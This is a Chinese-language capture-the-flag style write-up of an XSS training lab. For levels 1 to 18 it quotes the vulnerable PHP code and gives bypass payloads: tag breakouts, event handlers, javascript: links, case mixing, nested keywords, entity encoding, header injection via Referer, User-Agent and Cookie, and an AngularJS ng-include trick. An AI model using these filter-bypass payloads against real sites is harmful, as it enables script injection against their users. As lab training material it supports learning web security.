XSS挑战之旅(通过看代码解题)
XSS 挑战之旅

level 1

没有什么过滤
payload:
<script>alert(1)</script>
level 2

php关键代码:
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword value="'.$str.'">
分析:
str是可控的变量,上面一行实体化了,没有希望。
第二行的的代码没有过滤,闭合一下input标签就可以了。
payload:
"><script>alert(1)</script>&submit=搜索
level 3

关键代码:
<input name=keyword value='".htmlspecialchars($str)."'>
分析:
进行了html实体化,所以不可以利用标签了,利用js的事件来触发xss,闭合的时候用单引号。
payload:
'> onmouseover=alert(1) b='&submit=搜索
level 4

关键代码:
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword value="'.$str3.'">
分析:
获取keyword,尖括号置空,依旧利用js事件,闭合的时候利用双引号。
payload:
aa" onmouseover=alert(1) b="
level 5

关键代码:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
<input name=keyword value="'.$str3.'">
分析:
首先把keyword转换为了小写,之后把script跟on破坏掉了。
利用a标签的js协议来触发xss。提交之后点击一下那个连接就可以触发了。
payload:
"><a href="javascript:alert(1)">
level 6

关键代码:
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword value="'.$str6.'">
分析:
跟第五关类似,过滤了script,on,src,data,href等,但是没有进行大小写转换,所以可以利用大小写混写来绕过。
payload:
"><a Href="javascript:alert(1)">
"><img Src=x Onerror=alert(1)>
level 7

关键代码:
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
<input name=keyword value="'.$str6.'">
分析
进行了小写转换,并且过滤了script,on,src,data,href等。
可以利用单词嵌套来绕过,例如script可以写成 scrSCRIPTipt
payload:
"><scscriptript>alert(1)</scrscriptipt>
level 8

关键代码:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
分析
过滤的跟之前的差不多,加上把双引号也过滤了。
类似第五关,可以利用js协议。但是因为script过滤了,所以需要用到实体编码来过滤了。
对javascript:alert(1)进行编码
payload:
javascript:alert(1)
Tip:
编码python代码:
def unicodeHtml(self, orgCode):
self.enCode['unicodeHtml'] = ';'.join(
'&#{}'.format(ord(x)) for x in orgCode)
收获
网上别的表哥说还可以这样绕过:
可以利用空字符、空格、TAB换行、注释、特殊的函数,将代码隔开做到过滤,例如:
javas%09cript:alert()
javas%0acript:alert()
javas%0dcript:alert()
%09:tab
%0a:linefeed(换行)
%0d:creturn
但是我尝试了一下:

em~ 好迷,搜了一下才知道是httpd.conf的配置问题。
<Directory />
Options FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
</Directory>
这一段改成:
<Directory />
Options Indexes FollowSymLinks
AllowOverride None
</Directory>
em~ 改了也没有好使,可能是我的环境问题叭。占个坑。
level 9

关键代码:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
分析
日常过滤,如果keyword里不包含http://就不合法。编码之后加进去就可以了。
payload:
javascript:alert(1) //http://
level 10

关键代码:
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name="t_sort" value="'.$str33.'" type="hidden">
分析
str变量传入之后直接实体化后输出了,所以keyword参数是没用的。
发现还可以传一个t_sort参数并且只是过滤了尖括号,闭合一下利用js事件就可以了。
但是又发现t_sort值的标签是hidden的,所以我们这里改成可见的。
payload:
" onmouseover=alert(1) type="text" //
<!--访问:/level10.php?keyword=well%20done!&t_sort=" onmouseover=alert(1) type="text" //-->
level 11

关键代码:
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
分析
keyword跟t_sort都进行了实体化,没戏。
这里出现了一个$_SERVER['HTTP_REFERER']
这个变量只是过滤了尖括号,那么这个变量怎么传进去呢?
可以通过抓包改包来实现:
payload:

这里利用burpsuite来实现改包的功能
添加一个:Referer:" onmouseover=alert(1) type="text" //
之后点击forward就可以了。
level 12

关键代码:
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_ua" value="'.$str33.'" type="hidden">
分析
跟刚刚的类似,也是要抓包改包。
payload:

更改User-Agent的值为" onmouseover=alert(1) type="text" //
level 13

关键代码:
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_cook" value="'.$str33.'" type="hidden">
分析
抓包,改cookie
payload:

Cookie: user=" onmouseover=alert(1) type="text" //
level 14

没有太看明白,参考里的最后一个里有答案。。。
level 15

关键代码:
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
分析
看了大佬们的分析,知道了这题是利用AngularJS ng-include 指令。
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
访问/level15.php?src='level1.php'的时候会把第6关的文件引入到本页:

所以我们可以利用之前利用过的payload,比如利用第一关。
payload:
/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'
level 16

关键代码:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
分析
利用:%0d %0a分隔
payload:
<img%0Dsrc=1%0Donerror=alert(1)>
level 17

关键代码:
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
分析
html实例化,通过on来触发。
payload:
%20onmouseover=alert(1)
执行后的源代码:
<embed src=xsf01.swf?a= onmouseover=alert(1) width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
level 18

关键代码:
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
分析
感觉跟17差不多呀。
payload:
%20onmouseover=alert(1)
19 跟 20 不会啊。
参考:
XSS挑战之旅(1~10)
https://www.jianshu.com/p/550529813397
XSS挑战之旅--游戏闯关
https://www.jianshu.com/p/4e3a517bc4ea
【巨人肩膀上的矮子】XSS挑战之旅---游戏通关攻略(更新至18关)
https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12
XSS挑战之旅(通过看代码解题)的更多相关文章
- XSS挑战之旅---游戏通关攻略
最近发现一个有趣的XSS闯关小游戏,游戏的作者是先知社区的大佬Mramydnei,喜欢XSS的大家可以一起来学习交流. 现在我把自己在前面的十八关里面的闯关过程记录一下,大神绕行,我是菜鸟,大家可以一 ...
- XSS挑战之旅平台通关练习
1.第一关 比较简单,测试语句: <svg/onload=alert(1)> <script>confirm(1)</script> <script>p ...
- XSS挑战之旅,学习笔记
第一关: http://test.ctf8.com/level1.php?name=test 观察到通过get方式传参有会显, 直接打最简单的xss playload: <script>a ...
- xss挑战之旅wp
Level 1 - 180831 第一关很简单,开胃菜 payload: http://localhost/xss_game/level1.php?name=test123<script&g ...
- 1.6 xss挑战平台练习
------------------------- XSS挑战之旅 ------------------------- 最近在学习xss,找到了一个xss练习平台,在线地址:http://test.x ...
- XSS挑战第一期Writeup
0x00 起因 这期 XSS 挑战的起因是在阅读“Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters”过 ...
- 看代码学知识之(2) ListView无数据时显示其他View
看代码学知识之(2) ListView无数据时显示其他View 今天看的一块布局是这样的: <!-- The frame layout is here since we will be show ...
- calltree看代码调用图
calltree是在linux下面看c代码(尤其是复杂的内核代码)的神器. 推荐 calltree+vim + ctags + cscope + taglist [ vim: 搭建vim看代码的环境 ...
- 剥开比原看代码11:比原是如何通过接口/create-account创建帐户的
作者:freewind 比原项目仓库: Github地址:https://github.com/Bytom/bytom Gitee地址:https://gitee.com/BytomBlockchai ...
随机推荐
- 华为鲲鹏服务器安装 k3s+rancher
华为鲲鹏服务器安装 k3s+rancher 华为鲲鹏服务器 华为鲲鹏服务器采用华为自研cpu ARMv8架构,提供 Windows 和多个Linux 系统,作为服务器使用我一直使用Centos系统(不 ...
- JDBC 进阶:使用封装通用DML DQL 和结构分层以及at com.mysql.jdbc.PreparedStatement.setTimestamp空指针异常解决
准备: 数据表 CREATE TABLE `t_user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(10) DEFAULT ...
- 全网最全最细的appium自动化测试环境搭建教程以及appium工作原理
一.前言 对于appium自动化测试环境的搭建我相信90%的自学者都是在痛苦中挣扎,在挣扎中放弃,在放弃后又重新开始,只有10%的人,人品比较好,能够很快并顺利的搭建成功.appium 自动化测试 ...
- thinkphp5--多文件入口设置
来源:http://www.cnblogs.com/walblog/p/8035426.html 今天在用tp5做项目的时候发现,前台是可以绑定默认到index模块的,但是后台不好弄,于是查了一下手册 ...
- Zabbix数据库表分区
zabbix的监控主机数量将近300,且运行了一年时间了,最近zabbix server服务监控历史数据等服务不断自身告警.查询性能也变得很低 关于历史数据的两个参数,在zabbix server的配 ...
- 在Spring Boot中使用内存数据库
文章目录 H2数据库 HSQLDB Apache Derby SQLite 在Spring Boot中使用内存数据库 所谓内存数据库就是可以在内存中运行的数据库,不需要将数据存储在文件系统中,但是相对 ...
- python 类C数组的两种形式:list -->内容可变, tuple --->内容不可变
python 中的列表相当与 C 中的数组,列表:list 初始化使用[ ], 元组:tuple 初始化使用(): 一.列表list 1 #!/usr/bin/python 2 3 #list初 ...
- [译] React 16.3(.0-alpha) 新特性
原文地址:What's new in React 16.3(.0-alpha) 原文作者:Bartosz Szczeciński 译文出自:掘金翻译计划 本文永久链接:github.com/xitu/ ...
- #Week3 Linear Regression with Multiple Variables
一.Multiple Features 这节课主要引入了一些记号,假设现在有n个特征,那么: 为了便于用矩阵处理,令\(x_0=1\): 参数\(\theta\)是一个(n+1)*1维的向量,任一个训 ...
- Damaged Hard Drive and Reinstall System
0 缘由 我是ACER笔记本,电脑从桌子上重摔,之后几天可以正常使用.可是后来看完视频准备退出的时候,发现所有页面已经卡死了,内存占用已经超过了80%,任务管理器没有反应,不得已按了电源键强制关机. ...